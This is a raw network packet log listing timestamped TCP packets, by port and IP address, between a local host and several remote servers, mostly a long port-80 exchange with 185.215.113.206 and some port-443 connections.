Nov 25, 2024 16:21:42.009332895 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.009345055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.009380102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.010298014 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.010343075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.010406017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.010443926 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.011276007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.011296988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.011337996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.012254000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.012314081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.012346983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.012382030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.013278961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.013333082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.013391018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.013540030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.014278889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.014328003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.014472961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.014520884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.015357971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.015369892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.015418053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.016247034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.016294003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.016376019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.016421080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.017270088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.017349005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.017369986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.017405987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.018188953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.018232107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.018264055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.018383026 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.019153118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.019213915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.019262075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.019315958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.020133018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.020186901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.020246029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.020428896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.021150112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.021231890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.021239042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.021338940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.022094011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.022152901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.022234917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.022300005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.023117065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.023163080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.023335934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.023380995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.024080992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.024132967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.024178982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.025070906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.025116920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.025177956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.025213957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.026067019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.026165009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.026221037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.027025938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.027091980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.027136087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.027225018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.027331114 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.028009892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.028090000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.028142929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.029007912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.029057026 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.029112101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.029159069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.029998064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.030044079 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.030108929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.030199051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.030998945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.031063080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.031126976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.031171083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.031970978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.032021046 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.032105923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.032149076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.032969952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.033060074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.033077955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.033119917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.033955097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.034003019 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.034049988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.034091949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.034925938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.034971952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.035049915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.035173893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.035904884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.035949945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.036014080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.036056995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.036879063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.036923885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.036947966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.037075043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.037875891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.037929058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.038028002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.038070917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.038853884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.038897991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.038959980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.039009094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.039859056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.039943933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.039975882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.040018082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.040810108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.040862083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.040950060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.041002989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.041529894 CET	443	49844	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.041780949 CET	49844	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.041793108 CET	443	49844	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.041798115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.041842937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.041888952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.041925907 CET	49842	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.041939974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.042097092 CET	443	49841	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.042794943 CET	49841	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.042799950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.042810917 CET	443	49841	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.042876959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.042901993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.042912006 CET	443	49844	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.042913914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.043028116 CET	49844	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.043430090 CET	49844	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.043498039 CET	443	49844	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.043589115 CET	49844	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.043881893 CET	443	49841	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.043961048 CET	49841	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.044215918 CET	49841	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.044286013 CET	443	49841	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.044351101 CET	49841	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.044357061 CET	443	49841	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.045321941 CET	443	49843	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.045512915 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.045519114 CET	443	49843	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.046570063 CET	443	49843	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.046627045 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.046974897 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.047033072 CET	443	49843	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.047106028 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.047111034 CET	443	49843	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.088612080 CET	49844	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.088623047 CET	443	49844	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.088650942 CET	49841	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.088650942 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.116549015 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.116575003 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.116637945 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.116648912 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.117830038 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.117867947 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.117929935 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.118237019 CET	49847	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.118271112 CET	443	49847	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.118424892 CET	49847	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.118921041 CET	49847	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.118935108 CET	443	49847	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.132797956 CET	49848	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:42.132829905 CET	443	49848	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:42.132893085 CET	49848	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:42.133075953 CET	49848	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:42.133091927 CET	443	49848	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:42.134397030 CET	49844	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.149746895 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.149806976 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.149854898 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.150038004 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.150053978 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.150064945 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.150069952 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.153024912 CET	49849	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.153052092 CET	443	49849	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.153146982 CET	49849	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.153314114 CET	49849	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:42.153328896 CET	443	49849	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:42.184231043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.184284925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.184350014 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.184389114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.184647083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.184700966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.184751034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.184788942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.185642958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.185714006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.185998917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.186050892 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.186109066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.186239004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.187036991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.187096119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.187099934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.187129021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.188067913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.188081026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.188110113 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.188124895 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.189088106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.189136982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.189165115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.189208984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.190382004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.190454006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.190537930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.190650940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.191644907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.191706896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.191708088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.191766024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.192960978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.193113089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.193125963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.193221092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.193965912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.193994999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.194021940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.194202900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.194444895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.194500923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.194516897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.194617987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.194967031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.195022106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.195048094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.195132017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.195858002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.195908070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.195939064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.196124077 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.196832895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.196933031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.197254896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.197828054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.197910070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.198059082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.198812962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.198909998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.198936939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.199062109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.199815035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.199965000 CET	49850	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:42.200015068 CET	443	49850	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:42.200043917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.200062037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.200115919 CET	49850	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:42.200118065 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.200301886 CET	49850	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:42.200313091 CET	443	49850	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:42.200767994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.200846910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.200875998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.200952053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.201750040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.201809883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.201834917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.201863050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.202740908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.202856064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.202883005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.202997923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.203722000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.203774929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.203921080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.204714060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.204787016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.204813957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.205099106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.205682993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.205801010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.205828905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.205899000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.206664085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.206774950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.206778049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.206886053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.207678080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.207786083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.207809925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.207957029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.208652020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.208762884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.208771944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.209005117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.209618092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.209705114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.209721088 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.209789991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.210598946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.210705996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.210726023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.210789919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.211600065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.211647034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.211668968 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.211863995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.213501930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.213520050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.213644981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.213674068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.213840008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.213861942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.213990927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.214787960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.214941025 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.214993000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.215035915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.215944052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.216025114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.216094017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.216094017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.216751099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.216772079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.216835976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.216835976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.217525005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.217639923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.217792034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.218521118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.218610048 CET	80	49765	185.215.113.206	192.168.2.5
